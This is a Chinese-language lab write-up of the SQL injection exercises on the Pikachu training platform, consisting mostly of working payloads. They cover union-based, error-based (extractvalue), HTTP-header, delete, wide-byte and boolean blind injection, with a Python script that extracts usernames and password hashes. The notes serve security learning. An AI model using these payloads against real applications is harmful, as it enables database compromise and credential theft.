pikachu平台SQL注入
日常心累、速通pikachu注入相关
目录
- pikachu平台SQL注入
- 使用到的名词解释
- 1. 数字型注入 --使用bp处理数据包
- 2. 字符型注入 --hackbar处理
- 3. 搜索型注入
- 4. xx型注入
- 5. insert/update注入
- 6. delete注入
- 7. http头注入
- 8. 布尔盲注
- 9. 时间盲注
- 10. 宽字节注入
使用到的名词解释
mysql信息收集
数据库版本: version()
数据库用户: user()
数据库名字: database()
操作系统: @@version_compile_os
记录所有数据库、表、字段的数据库: information_schema
information_schema.tables : 表
information_schema.columns : 字段
table_name:表名
column_name:字段名
1. 数字型注入 --使用bp处理数据包
确认注入点
id=3 and 1=1&submit=%E6%9F%A5%E8%AF%A2
确认最大返回数
id=3 order by 2&submit=%E6%9F%A5%E8%AF%A2
联合查询返回数据库版本,操作系统等数据
id=3 union select version(),@@version_compile_os&submit=%E6%9F%A5%E8%AF%A2
查表
id=3 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2
查字段
id=3 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'&submit=%E6%9F%A5%E8%AF%A2
查看字段值
id=3 union select 1,group_concat(concat_ws('~',username,password)) from users&submit=%E6%9F%A5%E8%AF%
2. 字符型注入 --hackbar处理
确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_str.php?name=kobe'--+&submit=%E6%9F%A5%E8%AF%A2
由于是在同个数据库下,直接根据users表查字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_str.php?name=kobe' union select 1,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%9F%A5%E8%AF%A2
3. 搜索型注入
简单的sql语句:SELECT * FROM user WHERE username LIKE '小%';
确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_search.php?name=kobe'--+&submit=%E6%90%9C%E7%B4%A2
直接查users字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_search.php?name=kobe' union select 1,2,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%90%9C%E7%B4%A2
4. xx型注入
确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_x.php?name=kobe')--+&submit=%E6%9F%A5%E8%AF%A2
直接查字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_x.php?name=kobe') union select 1,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%9F%A5%E8%AF%A2
5. insert/update注入
由于不是查询语句,可以使用报错查询
在注册页面:
用户:qiye' || (extractvalue(1,concat(0x7e,(select(database())),0x7e))) || '
密码:随意
其余:随意
爆users字段
用户:' || (extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))) || '
密码:随意
其余:随意
报错返回:XPATH syntax error: 'admin~e10adc3949ba59abbe56e057f'
6. delete注入
删除时使用BP抓包,PHP会调用delete语句,让他报错就行
注入点
id=77+or+extractvalue(1,concat(0x7e,(select(database()),0x7e))
查users表字段值
id=77+or+extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))
7. http头注入
注入点
Accept: qiye' || (extractvalue(1,concat(0x7e,(select(database())),0x7e))) || '
查users中字段数据
Accept: ' || (extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))) || '
8. 布尔盲注
注入点
先找一个存在的username,所以用系统给的kobe,这里通过异或运算来逻辑判断正确与失败
http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^1--+
简单手工测试,这里测试数据库的第一个字符的ascii(根据前面已知数据库名为pikachu,故第一个字符为p,p的ascii码为112)
http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^(ascii(substr((select(database())),1,1))>111)--+
http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^(ascii(substr((select(database())),1,1))>112)--+
发现第一个payload有返回结果,第二个payload没有返回结果,故可以通过爆破字段的ascii码来获取数据,所以开始写poc:
import requests
import time
url="http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and "
name=''
for i in range(1, 80):
print(i)
low = 31
high = 127
mid=(low + high) // 2
while low < high:
#payload = "0^(ascii(substr((select(database())),%d,1))>%d)--+" % (i, mid)
#payload = "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)--+"%(i, mid)
#payload = "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))>%d)--+"%(i, mid)
payload = "0^(ascii(substr((select(group_concat(username,'~',password))from(users)),%d,1))>%d)--+"%(i, mid)
r = requests.get(url + payload)
print(url + payload)
if 'kobe' in r.text: #kobe为文章内容,一旦正常返回,则字符爆破正确
low = mid+1
else:
high=mid
mid = (low + high) // 2
if(mid == 32):
break
name = name + chr(mid)
print (name)
9. 时间盲注
暂时不写,主要POC想想怎么写
10. 宽字节注入
name=kobe%df' union select 1,group_concat(username,password) from users--+&submit=%E6%9F%A5%E8%AF%A2